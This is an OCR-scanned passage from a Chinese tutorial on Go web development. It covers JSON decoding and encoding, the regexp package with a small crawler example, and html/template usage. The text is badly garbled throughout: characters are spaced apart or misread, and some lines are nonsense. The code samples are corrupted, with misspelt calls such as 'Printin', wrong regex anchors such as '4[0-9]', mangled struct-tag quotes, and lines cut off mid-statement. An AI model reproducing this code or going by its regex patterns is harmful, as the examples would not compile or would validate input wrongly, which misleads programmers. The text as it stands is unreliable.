储 解 析 的 未 知 结构 的 json 数 据 的 结果 。JSON 包 中 采用 map[stringjinterface{} 和 
[interface 人 {} 结 构 来 存储 任意 的 JSON 对 象 和 数组 。Go 类 型 和 JSON 类 型 的 对 应 关系 
如 下 : 


bool 代表 JSON booleans, 
float64 代表 JSON numbers, 
string 代表 JSON strings, 

nil 代表 JSON null. 


现在 我 们 假设 有 如 下 的 JSON 数 据 


b := [jbyte( { 人 Name":"wednesday"”，"Age":6,， "Parents": ["Gomez", "Mortic 
«| z= 








如 果 在 我 们 不 知道 他 的 结构 的 情况 下 ， 我 们 把 他 解析 到 interface 人 里面 


var f interface{} 
err := json.Unmarshal(b, &f) 


这 个 时 候 f 里 面 存储 了 一 个 map 类 型 ， 他 们 的 key 是 string， 值 存储 在 空 的 interface{} 
里 


f = map[string]interface{}{ 
"Name": "Wednesday", 
"Age": 6, 

"Parents": []interface{}{ 
"Gomez", 
"Morticia", 


ty 


那么 如 何 来 访问 这 些 数 据 呢 ?通过 断言 的 方式 : 


m := f.(map[string]interface{}) 


通过 断言 之 后 ， 你 就 可 以 通过 如 下 方式 来 访问 里 面 的 数据 了 


for k, v := range m { 
switch vv := v.(type) { 
case string: 
fmt.Printin(k, "is string", vv) 
case int: 
fmt.Println(k, “as int", vv) 
case float64: 
fmt.Println(k, "is float64", vv) 
case []interface{}: 
fmt.Println(k, "is an array:") 
for i, u := range w { 
fmt.Println(i, u) 


} 
default: 

fmt.Println(k, "is of a type I don't know how to handle") 
} 


} 
E 


通过 上 面 的 示例 可 以 看 到 ， 通 过 interface 人 {} 与 type assert 的 配合 ， 我 们 就 可 以 解析 未 
知 结构 的 JSON 数 了 。 


上 面 这 个 是 官方 提供 的 解决 方案 ， 其 实 很 多 时 候 我 们 通过 类 型 断言 ， 操 作 起 来 不 是 
很 方便 ， 目 前 bitly 公 司 开 源 了 一 个 叫做 simplejson 的 包 , 在 处 理 未 知 结构 体 的 
JSON 时 相当 方便 ， 详 细 例 子 如 下 所 示 : 


js, err := NewJson([]byte(`{ 
"test": { 
"array": [ea Lou gll 
"int": 10, 
"float": 5.150, 
"bignum": 9223372036854775807, 
"string": "simplejson", 
"bool": true 


} 
} )) 
arr, _ := js.Get("test").Get("array").Array() 
i, _ := js.Get("test").Get("int").Int() 


ms := js.Get("test").Get("string") .MustString() 


可 以 看 到 ， 使 用 这 个 库 操 作 JSON 比 起 官方 包 来 说 ， 简 单 的 多 ,详细 的 请 参考 如 下 地 
址 : https://github.com/bitly/go-simplejson 


生成 JSON 


我 们 开发 很 多 应 用 的 时 候 ， 最 后 都 是 要 输出 JSON 数 据 串 ， 那 么 如 何 来 处 理 呢 ? 


JSON 包 里 面 通过 Marshal HARRIE, HALA: 


func Marshal(v interface{}) ([]byte, error) 


子 


package main 


import ( 
"encoding/json" 
" fmt " 

) 


type Server struct { 
ServerName string 
ServerIP string 


} 


type Serverslice struct { 
Servers []Server 
} 


func main() { 
var s Serverslice 


s.Servers = append(s.Servers, Server{ServerName: 
s.Servers = append(s.Servers, Server{ServerName: 


b, err := json.Marshal(s) 
if err != nil { 
fmt.Println("json err:", err) 


} 
fmt .Printin(string(b) ) 


ae 
输出 如 下 内 容 : 


假设 我 们 还 是 需要 生成 上 面 的 服务 器 列表 信息 ， 那 么 如 何 来 处 理 呢 ? 请 看 下 面 的 例 


"Shanghai_VPN' 
"Beijing VPN", 





{"Servers": [{"ServerName":"Shanghai_VPN", "ServerIP":"127.0.0.1"}, {' 





我 们 看 到 上 面 的 输出 字段 名 的 首 字 母 都 是 大 写 的 ， 如 果 你 想 用 小 写 的 首 字 母 怎么 办 
DE ?把 结构 体 的 字段 名 改 成 首 字母 小 写 的 ?JSON 输 出 的 时 候 必须 注意 ， 只 有 导出 
的 字段 才 会 被 输出 ， 如 果 修 改 字段 名 ， 那 么 就 会 发 现 什 么 都 不 会 输出 ， 所 以 必须 通 


itstruct tag 定 义 来 实现 : 


type Server struct { 
ServerName string ~json:"serverName"- 
ServerIP string ~“json:"serverIP"~ 


} 


type Serverslice struct { 
Servers []Server ‘json:"servers". 


} 


dasa 结构 体 定 义 ， 输 出 的 JSON 串 就 和 我 们 最 开始 定义 的 JSON 串 保持 一 
RX So 


针对 JSON 的 和 输出， 我 们 在 定义 struct tag 的 时 候 需 要 注意 的 几 点 是 : 


。 字段 的 tag 是 "-" ， 那 么 这 个 字段 不 会 输出 到 JSON 

e tag 中 带 有 自 定义 名 称 ， 那 么 这 个 自 定义 名 称 会 出 现在 JSON 的 字段 名 中 ， 例 如 
上 面 例 子 中 serverName 

etag 中 如 果 带 有 "omitempty" 选项 ， 那 么 如 果 该 字段 值 为 空 ， 就 不 会 输出 到 
JSON# h 

。 如 果 字 段 类 型 是 bool, string, int, int64 等 ， 而 tag 中 带 有 ",string" 选项 ， 那 
么 这 个 字段 在 输出 到 JSON 的 时 候 会 把 该 字段 对 应 的 值 转换 成 JSON 字 符 串 


举例 来 说 : 


type Server struct { 
// ID 不 会 导出 到 JSON 中 
ID int json:"-” 


// ServerName 的 值 会 进行 二 次 JSON 编 码 
ServerName string ~json:"serverName"~ 
ServerName2 string ~json:"serverName2, string" 


// WR ServerIP AZ, WAAWMHEIISONS A 
ServerIP string ~json:"serverIP, omitempty"~ 


} 

s := Server { 
ID: 3, 
ServerName: Go "1.0" `, 
ServerName2: “Go "1.0" `, 
ServerIP: Ripe 

} 

b, _ := json.Marshal(s) 


os.Stdout.Write(b) 


会 输出 以 下 内 容 : 


{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\A\"L.O\\AT \""} 


Marshal 画 数 只 有 在 转换 成 功 的 时 候 才 会 返回 数据 ， 在 转换 的 过 程 中 我 们 需要 注意 
JLA : 


e JSON 对 象 只 支持 string 作 为 key， 所 以 要 编码 一 个 map， 那 么 必须 是 
map[string]T 这 种 类 型 (T 是 Go 语言 中 任意 的 类 型 ) 

e Channel, complex 和 function 是 不 能 被 编码 成 JSON 的 

谋 套 的 数据 是 不 能 编码 的 ， 不 然 会 让 JSON 编 码 进 入 死 循 环 

指针 在 编码 的 时 候 会 输出 指针 指向 的 内 容 ， 而 空 指针 会 输出 null 


本 小 节 ， 我 们 介绍 了 如 何 使 用 Go 语言 的 json 标 准 包 来 编 解 码 JSON 数 据 ， 同 时 也 简 
要 介绍 了 如 何 使 用 第 三 方 包 go-simplejson 来 在 一 些 情况 下 简化 操作 ， 学 会 并 熟 
练 运用 它们 将 对 我 们 接 下 来 的 Web 开 发 相当 重要 。 


: XML 义理 
正则 处 理 


7.3 En] xI 


正则 表达 式 是 一 种 进行 模式 匹配 和 文本 操纵 的 复 杀 而 又 强大 的 工具 。 虽 然 正 则 表达 
式 比 纯粹 的 文本 匹配 效率 低 ， 但 是 它 却 更 灵活 。 按 照 它 的 语法 规则 ， 随 需 构 造 出 的 
匹配 模式 就 能 够 从 原始 文本 中 筛选 出 几乎 任何 想 你 要 得 到 的 字符 组 合 。 如 果 你 在 
Web 开 发 中 需要 从 一 些 文本 数据 源 中 获取 数据 ,那么 你 只 需要 按照 它 的 语法 规则 ， 随 
需 构造 出 正确 的 模式 字符 串 就 能 够 从 原 数 据 源 提 取出 有 意义 的 文本 信息 。 


Go 语言 通过 regexp 标准 包 为 正则 表达 式 提供 了 官方 支持 ， 如 果 你 已 经 使 用 过 其 
他 编程 语言 提供 的 正则 相关 功能 ， 那 么 你 应 该 对 Go 语言 版 本 的 不 会 太 陌生 ， 但 是 它 
们 之 间 也 有 一 些小 的 差异 ， 因 为 Go 实现 的 是 RE2 标 准 ， 除 了 \C， 详 细 的 语法 描述 参 
者 : http://code.google.com/p/re2/wiki/Syntax 


其 实 字 符 串 义理 我 们 可 以 使 用 strings 包 来 进行 搜索 (Contains、Index)、 蔡 换 
(Replace) 和 解析 (Split、Join) 等 操作 ， 但 是 这 些 都 是 简单 的 字符 串 操 作 ， 他 们 的 搜 
索 都 是 大 小 写 敏 感 ， 而 且 固 定 的 字符 串 ， 如 果 我 们 需要 匹配 可 变 的 那 种 就 没 办 法 实 
现 了 ， 当 然 如 果 strings 包 能 解决 你 的 问题 ， 那 么 就 尽量 使 用 它 来 解决 。 因 为 他 
们 足够 简单 、 而 且 性 能 和 可 读 性 都 会 比 正 则 好 。 


如 果 你 还 记得 ， 在 前 面 表 单 验证 的 小 节 里 ， 我 们 已 经 接触 过 正则 义理 ， 在 那里 我 们 
利用 了 它 来 验证 输入 的 信息 是 否 满足 某 些 预 设 的 条 件 。 在 使 用 中 需要 注意 的 一 点 就 
是 : 所 有 的 字符 都 是 UTF-8 编 码 的 。 接 下 来 让 我 们 更 加 深入 的 来 学 习 Go 话 言 

BY regexp 包 相 关 知 识 吧 。 


通过 正则 判断 是 否 匹 配 
regexp 包 中 含有 三 个 函数 用 来 判断 是 否 匹 配 ， 如 果 匹 配 返 回 true， 否 则 返回 false 


func Match(pattern string, b []byte) (matched bool, error error) 
func MatchReader(pattern string, r io.RuneReader) (matched bool, ei 
func MatchString(pattern string, s string) (matched bool, error ert 


E 
上 面 的 三 个 函数 实现 了 同一 个 功能 ， 就 是 判断 pattern 是 否 和 输入 源 匹 配 ， 匹 配 


的 话 就 返回 true， 如 果 解 析 正 则 出 错 则 返回 error。 三 个 函数 的 输入 源 分 别 是 byte 
slice、RuneReader 和 string。 


如 果 要 验证 一 个 输入 是 不 是 IP 地 址 ， 那 么 如 何 来 判断 呢 ? 请 看 如 下 实现 





func IsIP(ip string) (b bool) { 
if m, _ := regexp.MatchString("4[0-9]{1,3}\\. [0-9] {1, 3}\\. [0-9 
return false 


return true 


} 


«| E 








可 以 看 到 ， regexp 的 pattern 和 我 们 平常 使 用 的 正则 一 模 一 样 。 再 来 看 一 个 例子 : 
当 用 户 输 入 一 个 字符 串 ， 我 们 想 知 道 是 不 是 一 次 合法 的 输入 : 


func main() { 
if len(os.Args) == 1 { 
fmt.Println( "Usage: regexp [string]") 


os.Exit(1) 

} else if m, _ := regexp.MatchString("4[0-9]+$", os.Args[1]); r 
fmt .Printlin("R=") 

} else { 


fmt .Println(" 不 是 数字 ") 





在 上 面 的 两 个 小 例子 中 ， 我 们 采用 了 Match(Reader|String) 来 判断 一 些 字 符 串 是 否 
符合 我 们 的 描述 需求 ， 它 们 使 用 起 来 非常 方便 。 


通过 正则 获取 内 容 


Match 模 式 只 能 用 来 对 字符 串 的 判断 ， 而 无 法 截取 字符 串 的 一 部 分 、 过 滤 字 符 串 、 
或 者 提取 出 符合 条 件 的 一 批 字 符 串 。 如 果 想 要 满足 这 些 需 求 ， 那 就 需要 使 用 正则 表 
达 式 的 复杂 模式 。 


我 们 经 常 需要 一 些 候 虫 程序 ， 下 面 就 以 息 虫 为 例 来 说 明 如 何 使 用 正则 来 过 小 或 截取 
抓 取 到 的 数据 : 


package main 


import ( 
W fmt " 
"io/ioutil" 
"net/http" 
"regexp" 
"strings" 


) 


func main() { 
resp, err := http.Get("http://www.baidu.com") 
if err != nil { 
fmt.Println("http get error.") 
} 


defer resp.Body.Close() 
body, err := ioutil.ReadAll(resp.Body) 


if err != nil { 
fmt.Printlin("http read error") 
return 

} 


src := string(body) 


// 将 HTML 标 签 全 转换 成 小 写 
re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") 
src = re.ReplaceAllStringFunc(src, strings. ToLower ) 


// 去 除 STYLE 
re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>") 
src = re.ReplaceAllString(src, "") 


//EBRSCRIPT 
re, _ = regexp.Compile("\\<script [\\S\\s]+?\\</script\\>") 
src = re.ReplaceAllString(src, "") 


// 去 除 所 有 人 尖 括 号 内 的 HTML 代 码 ， 并 换 成 换行 符 
re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") 
src = re.ReplaceAllString(src, "\n") 


// 去 除 连 续 的 换行 符 
re, _ = regexp.Compile("\\s{2, }") 
src = re.ReplaceAllString(src, "\n") 


fmt .Printin(strings.TrimSpace(src) ) 


从 这 个 示例 可 以 看 出 ， 使 用 复杂 的 正则 首先 是 Compile， 它 会 解析 正则 表达 式 是 否 
合法 ， 如 果 正 确 ， 那 么 就 会 返回 一 个 Regexp， 然 后 就 可 以 利用 返回 的 Regexp 在 任 
意 的 字符 串 上 面 执行 需要 的 操作 。 


解析 正则 表达 式 的 有 如 下 几 个 方法 : 


func 
func 
func 
func 


Compile(expr string) (*Regexp, error) 
CompilePOSIX(expr string) (*Regexp, error) 
MustCompile(str string) *Regexp 
MustCompilePOSIX(str string) *Regexp 


CompilePOSIX 和 Compile 的 不 同 点 在 于 POSIX 必 须 使 用 POSIX 语 法 ， 它 使 用 最 左 
最 长 方式 搜索 ， 而 Compile 是 采用 的 则 只 采用 最 左 方 式 搜索 (例如 [a-z]{2,4} 这 样 一 个 
正则 表达 式 ， 应 用 于 "aa09aaa88aaaa" 这 个 文本 串 时 ，CompilePOSIX 返 回 了 

aaaa， 而 Compile 的 返回 的 是 aa)。 前 级 有 Must 的 函数 表示 ， 在 解析 正则 语法 的 时 
候 ， 如 果 匹 配 模式 串 不 满足 正确 的 语法 则 直接 panic， 而 不 加 Must 的 则 只 是 返回 错 


a 
IRo 


在 了 解 了 如 何 新 建 一 个 Regexp 之 后 ， 我 们 再 来 看 一 下 这 个 struct 提 供 了 哪些 方法 来 
辅助 我 们 操作 字符 串 ， 首 先 我 们 来 看 下 面 这 些 用 来 搜索 的 函数 : 


func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 
func 


了 De 


(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 


*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp ) 
*Regexp ) 
*Regexp ) 
*Regexp) 
*Regexp ) 
*Regexp ) 
*Regexp) 
*Regexp ) 
*Regexp ) 


Find(b []byte) []byte 

FindAll(b []byte, n int) [][]byte 

FindAllIndex(b []byte, n int) [][]Jaint 
FindAllString(s string, n int) []string 
FindAl1StringIndex(s string, n int) [][]Jint 
FindAl1StringSubmatch(s string, n int) [][]strinc 
FindAl1StringSubmatchIndex(s string, n int) [][]: 
FindAllSubmatch(b []byte, n int) [][][]byte 
FindAllSubmatchIndex(b []byte, n int) [][]int 
FindIndex(b []byte) (loc []int) 
FindReaderIndex(r io.RuneReader) (loc []int) 
FindReaderSubmatchIndex(r io.RuneReader) []int 
FindString(s string) string 

FindStringIndex(s string) (loc []int) 
FindStringSubmatch(s string) []string 
FindStringSubmatchIndex(s string) []Jint 
FindSubmatch(b []byte) [][]byte 
FindSubmatchIndex(b []byte) []int 





上 面 这 18 个 函数 我 们 根据 输入 源 (byte slice、string 和 io.RuneReaden) 不 同 还 可 以 继 
续 简 化 成 如 下 几 个 ， 其 他 的 只 是 输入 源 不 一 样 ， 其 他 功能 基本 是 一 样 的 : 


func 
func 
func 
func 
func 
func 
func 
func 


(re 
(re 
(re 
(re 
(re 
(re 
(re 
(re 


*Regexp ) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 
*Regexp) 


Find(b []byte) []byte 

FindAll(b []byte, n int) [][]byte 
FindAllIndex(b []byte, n int) [][]int 
FindAllSubmatch(b []byte, n int) [][][]byte 
FindAllSubmatchIndex(b []byte, n int) [][]int 
FindIndex(b []byte) (loc []int) 
FindSubmatch(b []byte) [][]byte 
FindSubmatchIndex(b []byte) []int 


对 于 这 些 范 数 的 使 用 我 们 来 看 下 面 这 个 例子 


package main 


import ( 
W fmt " 
"regexp" 


) 


func main() { 
a := "I am learning Go language" 


re, _ := regexp.Compile("[a-z]{2,4}") 


// 查 找 符合 正则 的 第 一 个 
one := re.Find([ ]byte(a) ) 
fmt .Printin("Find:", string(one) ) 


// 查 找 符合 正则 的 所 有 s1lice, n 小 于 9 表示 返回 全 部 符合 的 字符 串 ， 不 然 就 是 返回 指 ， 
all := re.FindAll([]byte(a), -1) 
fmt.Printin("FindAll", all) 


// 查 找 符合 条 件 的 jndex 位 置 , 开始 位 置 和 结束 位 置 
index := re.FindIndex([]byte(a) ) 
fmt .Printiln("FindIndex", index) 


// 查 找 符合 条 件 的 所 有 的 ijndex 位 置 ，n 同 上 
allindex := re.FindAllIndex([]byte(a), -1) 
fmt.Println("FindAllIndex", allindex) 


re2, _ := regexp.Compile("am(.*)lang(.*)") 


// 查 找 Submatch, 返回 数组 ， 第 一 个 元 素 是 匹配 的 全 部 元 素 ， 第 二 个 元 素 是 第 一 个 (. 
// 下 面 的 输出 第 一 个 元 素 是 "am learning Go language" 
// 第 二 个 元 素 是 " learning Go "， 注 意 包含 空格 的 输出 
// 第 三 个 元 素 是 "uage" 
submatch := re2.FindSubmatch([]byte(a)) 
fmt.Println("FindSubmatch", submatch) 
for _, v := range submatch { 
fmt .Printin(string(v) ) 
} 


// 定 义 和 上 面 的 FindIndex 一 样 
submatchindex := re2.FindSubmatchIndex([]jbyte(a)) 
fmt .Println(submatchindex) 


//FindAllsubmatch, 查找 所 有 符合 条 件 的 子 匹配 
submatchall := re2.FindAllSubmatch([]byte(a), -1) 
fmt .Printin(submatchall) 


//FindAl1lSubmatchIndex, 查找 所 有 字 匹 配 的 Index 
submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) 


fmt .Println(submatchallindex) 
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func (re *Regexp) Match(b []byte) bool 
func (re *Regexp) MatchReader(r io.RuneReader) bool 
func (re *Regexp) MatchString(s string) bool 


fe BBL IK TRER EB ARFA? 


func (re *Regexp) ReplaceAll(src, repl []byte) []byte 

func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []b' 
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte 

func (re *Regexp) ReplaceAllLiteralString(src, repl string) string 
func (re *Regexp) ReplaceAllString(src, repl string) string 

func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string 





IEAA RARE a IBT A a Ba, 
接 下 来 我 们 看 一 下 Expand 的 解释 : 


func (re *Regexp) Expand(dst []byte, template []byte, src []byte, r 
func (re *Regexp) ExpandString(dst []byte, template string, src sti 





那么 这 个 Expand 到 底 用 来 干 嘛 的 呢 ? 请 看 下 面 的 例子 : 


func main() { 
src := []byte(~ 
call hello alice 
hello bob 
call hello eve 


`) 
pat := regexp .MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg: 
res := []byte{} 


for _, s := range pat.FindAllSubmatchIndex(src, -1) { 
res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) 


fmt.Println(string(res)) 











至 此 我 们 已 经 全 部 介绍 完 Go 语 言 的 regexp 包 ， 通 过 对 它 的 主要 事 数 介绍 及 演 
示 ， 相 信 大 家 应 该 能 够 通过 Go 言 的 正则 包 进 行 一 些 基本 的 正则 的 操作 了 。 
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7.4 模板 义理 


什么 是 模板 


你 一 定 听 说 过 一 种 叫做 MVC 的 设计 模式 ，Model 处 理 数据 ，View 展 现 结 果 ， 
Controller 控 制 用 户 的 请 求 ， 至 于 View 层 的 义理 ， 在 很 多 动态 语言 里 面 都 是 通过 在 
静态 HTML 中 插入 动态 语言 生成 的 数据 ， 例 如 JSP 中 通过 插入 <%=... .=%> ，PHP 
中 通过 插入 <?php..... ?> 来 实现 的 。 


通过 下 面 这 个 图 可 以 说 明 模 板 的 机 制 


图 7.1 模板 机 制图 


Web 应 用 反馈 给 客户 端的 信息 中 的 大 部 分 内 容 是 静态 的 ， 不 变 的 ， 而 另外 少 部 分 是 
根据 用 户 的 请 求 来 动态 生成 的 ， 例 如 要 显示 用 户 的 访问 记录 列表 。 用 户 之 间 只 有 记 
录 数 据 是 不 同 的 ， 而 列表 的 样式 则 是 固定 的 ， 此 时 采用 模板 可 以 复 用 很 多 静态 代 
码 。 


Go 模板 使 用 


在 Go 语言 中 ， 我 们 使 用 template 包 来 进行 模板 处 理 ， 使 用 类 
似 Parse 、 ParseFile 、 Execute 等 方法 从 文件 或 者 字符 串 加 载 模板 ， 然 后 执 
行 类 似 上 面 图 片 展示 的 模板 的 merge 操 作 。 请 看 下 面 的 例子 : 


func handler(w http.Responsewriter, r *http.Request) { 
t := template.New("some template") // 创 建 一 个 模板 
t, _ = t.ParseFiles("tmpl/welcome.html", nil)  // 解 析 模 板 文件 
user := GetUser() // 获 取 当 前 用 户 信 息 
t.Execute(w, user) // 执 行 模板 的 merger 操 作 


通过 上 面 的 例子 我 们 可 以 看 到 Go 语言 的 模板 操作 非常 的 简单 方便 ， 和 其 他 语言 的 模 
板 处 理 类 似 ， 都 是 先 获取 数据 ， 然 后 泻 染 数据 。 


为 了 演示 和 测试 代码 的 方便 ， 我 们 在 接 下 来 的 例子 中 采用 如 下 格式 的 代码 


e 使 用 Parse 代 替 ParseFiles， 因 为 Parse 可 以 直接 测试 一 个 字符 串 ， 而 不 需要 领 
外 的 文件 

e 不 使 用 handler 来 写 演示 代码 ， 而 是 每 个 测试 一 个 main， 方 便 测试 

e 使 用 os.Stdout RË http.Responsewriter ， 因 为 os.Stdout 实现 
了 io.Writer 接口 


模板 中 如 何 插入 数据 ? 


上 面 我 们 演示 了 如 何 解 析 并 泻 染 模 板 ， 接 下 来 让 我 们 来 更 加 详细 的 了 解 如 何 把 数据 
ees 一 个 模板 都 是 应 用 在 一 个 Go 的 对 象 之 上 ，Go 对 象 的 字段 如 何 插入 到 模 
RPI? 


字段 操作 

Go 语言 的 模板 通过 {{}} 来 包含 需要 在 泻 染 时 被 替换 的 字段 ， {{.}} 表示 当前 的 
对 象 ， 这 和 Java 或 者 C++ 中 的 this 类 似 ， 如 果 要 访问 当前 对 象 的 字段 通 

过 {{.FieldName}} ,但 是 需要 注意 一 点 : 这 个 字段 必须 是 导出 的 (字段 首 字母 必须 
是 大 写 的 ), 否 则 在 泻 染 的 时 候 就 会 报错 ， 请 看 下 面 的 这 个 例子 : 


package main 


import ( 
"html/template" 
"os" 

) 


type Person struct { 
UserName string 


} 

func main() { 
t := template.New("fieldname example") 
t, _ = t.Parse("hello {{.UserName}}!") 
p := Person{UserName: "Astaxie"} 
t.Execute(os.Stdout, p) 

} 


上 面 的 代码 我 们 可 以 正确 的 输出 hello Astaxie ， 但 是 如 果 我 们 稍微 修改 一 下 代 
码 ， 在 模板 中 含有 了 未 导出 的 字段 ， 那 么 就 会 报错 


type Person struct { 

UserName string 

email string // 未 导出 的 字段 ， 首 字母 是 小 写 的 
} 


t, _ = t.Parse("hello {{.UserName}}! {{.email}}") 


上 面 的 代码 就 会 报错 ， 因 为 我 们 调用 了 一 个 未 导出 的 字段 ， 但 是 如 果 我 们 调用 了 一 
个 不 存在 的 字段 是 不 会 报错 的 ， 而 是 输出 为 空 。 


如 果 模 板 中 输出 {{.}} ， 这 个 一 般 上 应 用 于 字符 串 对 象 ， 默 认 会 调用 fmt 包 输出 字符 
串 的 内 容 。 


dar tH BREF ERA 
上 面 我 们 例子 展示 了 如 何 针对 一 个 对 象 的 字段 输出 ， 那 么 如 果 字 段 里 面 还 有 对 象 ， 
如 何 来 循环 的 输出 这 些 内 容 呢 ?我 们 可 以 使 
用 {{with ..}}..{fend}} 和 {{range ..}}{{end}} 来 进行 数据 的 输出 。 


e {{range}} 这 个 和 Go 语法 里 面 的 range 类 似 ， 循 环 操作 数据 


e {{with}} 操 作 是 指 当 前 对 象 的 值 ， 类 似 上 下 文 的 概念 


详细 的 使 用 请 看 下 面 的 例子 : 


E 


package main 


import ( 
"html/template" 
vost 

) 


type Friend struct { 
Fname string 
} 


type Person struct { 
UserName string 


Emails []string 
Friends []*Friend 
} 
func main() { 
f1 := Friend{Fname: "minux.ma"} 
f2 := Friend{Fname: "xushiwei"} 
t := template.New("fieldname example") 
t, _ = t.Parse( hello {{.UserName}}! 
{{range .Emails}} 
an email {{.}} 
{{end} } 
{{with .Friends}} 
{{range .}} 
my friend name is {{.Fname}} 
{fend} } 
{tend} } 
p := Person{UserName: "Astaxie", 
Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, 
Friends: []*Friend{&f1i, &f2}} 
t.Execute(os.Stdout, p) 
} 
— gg] 








条 件 处 理 


在 Go 模板 里 面 如 果 需 要 进行 条 件 判 断 ， 那 么 我 们 可 以 使 用 和 Go 语言 
的 if-else 语法 类 似 的 方式 来 处 理 ， 如 果 pipeline 为 空 ， 那 么 if 就 认为 是 false， 下 
面 的 例子 展示 了 如 何 使 用 if-else 语法 : 


package main 


import ( 
"os" 
"text/template" 
) 


func main() { 
tEmpty := template.New("template test") 
tEmpty = template.Must(tEmpty.Parse("2Z2 pipeline if demo: {{if 
tEmpty.Execute(os.Stdout, nil) 


twithValue := template.New("template test") 
twithValue = template.Must(tWithValue.Parse("#®ABZA pipeline i 
twithValue.Execute(os.Stdout, nil) 


tIfElse := template.New("template test") 
tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if ‘any 
tIfElse.Execute(os.Stdout, nil) 

} 


四 一 sl 
通过 上 面 的 演示 代码 我 们 知道 if-else 语法 相当 的 简单 ， 在 使 用 过 程 中 很 容易 集 
成 到 我 们 的 模板 代码 中 。 


注意 : if 里 面 无 法 使 用 条 件 判 断 ， 例 如 .Mail=="astaxie@gmailcom"， 这 样 的 判 
断 是 不 正确 的 ，if 里 面 只 能 是 bool 值 





pipelines 


Unix 用 户 已 经 很 熟悉 什么 是 pipe T, ls | grep "beego" 类 似 这 样 的 语法 你 是 
不 是 经 常 使 用 ， 过 滤 当 前 目录 下 面 的 文件 ， 显 示 含 有 "beego" 的 数据 ， 表 达 的 意思 
就 是 前 面 的 输出 可 以 当做 后 面 的 输入 ， 最 后 显示 我 们 想 要 的 数据 ， 而 Go 语言 模板 最 
强大 的 一 点 就 是 支持 pipe 数 据 ， 在 Go 语言 里 面 任 何 {{}} 里 面 的 都 是 pipelines 数 
据 ， 例 如 我 们 上 面 输出 的 email 里 面 如 果 还 有 一 些 可 能 引起 XSS 注 入 的 ， 那 么 我 们 如 
何 来 进行 转化 呢 ? 


{{. | html}} 


在 email 输 出 的 地 方 我 们 可 以 采用 如 上 方式 可 以 把 输出 全 部 转化 html 的 实体 ， 上 面 的 
这 种 方式 和 我 们 平常 守 Unix 的 方式 是 不 是 一 模 一 样 ， 操 作 起 来 相当 的 简便 ， 调 用 其 
他 的 函数 也 是 类 似 的 方式 。 


模板 变量 


有 时 候 ， 我 们 在 模板 使 用 过 程 中 需要 定义 一 些 局 部 变量 ， 我 们 可 以 在 一 些 操作 中 申 
明 局 部 变量 ， 例 如 with’ range if 过 程 中 申明 局 部 变量 ， 这 个 变量 的 作用 域 
是 {{end}} 之 前 ，Go 语 言 通过 申明 的 局 部 变量 格式 如 下 所 示 : 


$variable := pipeline 
详细 的 例子 看 下 面 的 : 
{{with $x := "output" | printf "%q"}}{{$x}}{{end}} 


{{with $x = "output"}}{{printf "%q" $x}}{{end}} 
{{with $x := "output"}}{{$x | printf "%q"}}{{end}} 


Fee AR EK EX 

模板 在 输出 对 象 的 字段 值 时 ， 采 用 了 fmt 包 把 对 象 转化 成 了 字符 串 。 但 是 有 时 候 
我 们 的 需求 可 能 不 是 这 样 的 ， 例 如 有 时 候 我 们 为 了 防止 垃圾 邮件 发 送 者 通过 采集 网 
页 的 方式 来 发 送 给 我 们 的 邮箱 信息 ， 我 们 希望 把 @ 替换 成 at 例 

如 : astaxie at beego.me ， 如 果 要 实现 这 样 的 功能 ， 我 们 就 需要 自 定义 琅 数 来 
做 这 个 功能 。 


T R 函数 都 有 一 个 唯一 值 的 名 字 ， 然 后 与 一 个 Go 函数 关联 ， 通 过 如 下 的 方式 
KA HK 


type FuncMap map[string]interface{} 


例如 ， 如 果 我 们 想 要 的 email 芳 数 的 模板 函数 名 是 emailDeal , CARNGoNR 
名 称 是 EmailDealwith ,那么 我 们 可 以 通过 下 面 的 方式 来 注册 这 个 函数 


t = t.Funcs(template.FuncMap{"emailDeal": EmailDealwith}) 


EmailDealwith 这 个 函数 的 参数 和 返回 值 定 义 如 下 : 


func EmailDealWith(args ..interface{}) string 


我 们 来 看 下 面 的 实现 例子 


package main 


import ( 
W fmt W 


"html/template" 
vos 
"strings" 


) 


type Friend struct { 
Fname string 
} 


type Person struct { 
UserName string 
Emails []string 
Friends []*Friend 


} 


func EmailDealWith(args ...interface{}) string { 
ok := false 
var s string 
if len(args) == 1 { 
s, ok = args[0].(string) 


} 
if !ok { 
s = fmt.Sprint(args...) 


} 
// find the @ symbol 
substrs := strings.Split(s, "@") 
if len(substrs) != 2 { 
return s 
} 


// replace the @ by " at " 
return (substrs[0] + " at " + substrs[1]) 


} 


func main() { 


f1 := Friend{Fname: "minux.ma"} 
f2 := Friend{Fname: "xushiwei"} 
t := template.New("fieldname example") 
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealwith}) 
t, _ = t.Parse( hello {{.UserName}}! 
{{range .Emails}} 
an emails {{.]emailDeal}} 
{{end}} 
{{with .Friends}} 
{{range .}} 
my friend name is {{.Fname}} 
{{end}} 
{tend} } 
p := Person{UserName: "Astaxie", 


Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, 
Friends: []*Friend{&f1, &f2}} 
t.Execute(os.Stdout, p) 


zj -_ Ed 








上 面 演 示 了 如 何 自 定义 玉 数 ， 其 实 ， 在 模板 包 内 部 已 经 有 内 置 的 实现 图 数 ， 下 面 代 
码 截 取 自 模板 包 里 面 


var builtins = FuncMap{ 


"and": and, 

Tea: call, 
"html": HTMLEscaper, 
"index": index, 

SA: JSEscaper, 
"len": length, 

Aone ie not, 

KO or, 

Printi: fmt.Sprint, 
"printf": fmt.Sprintf, 


"println": fmt.Sprintin, 
"urlquery": URLQueryEscaper, 


Must 操 作 

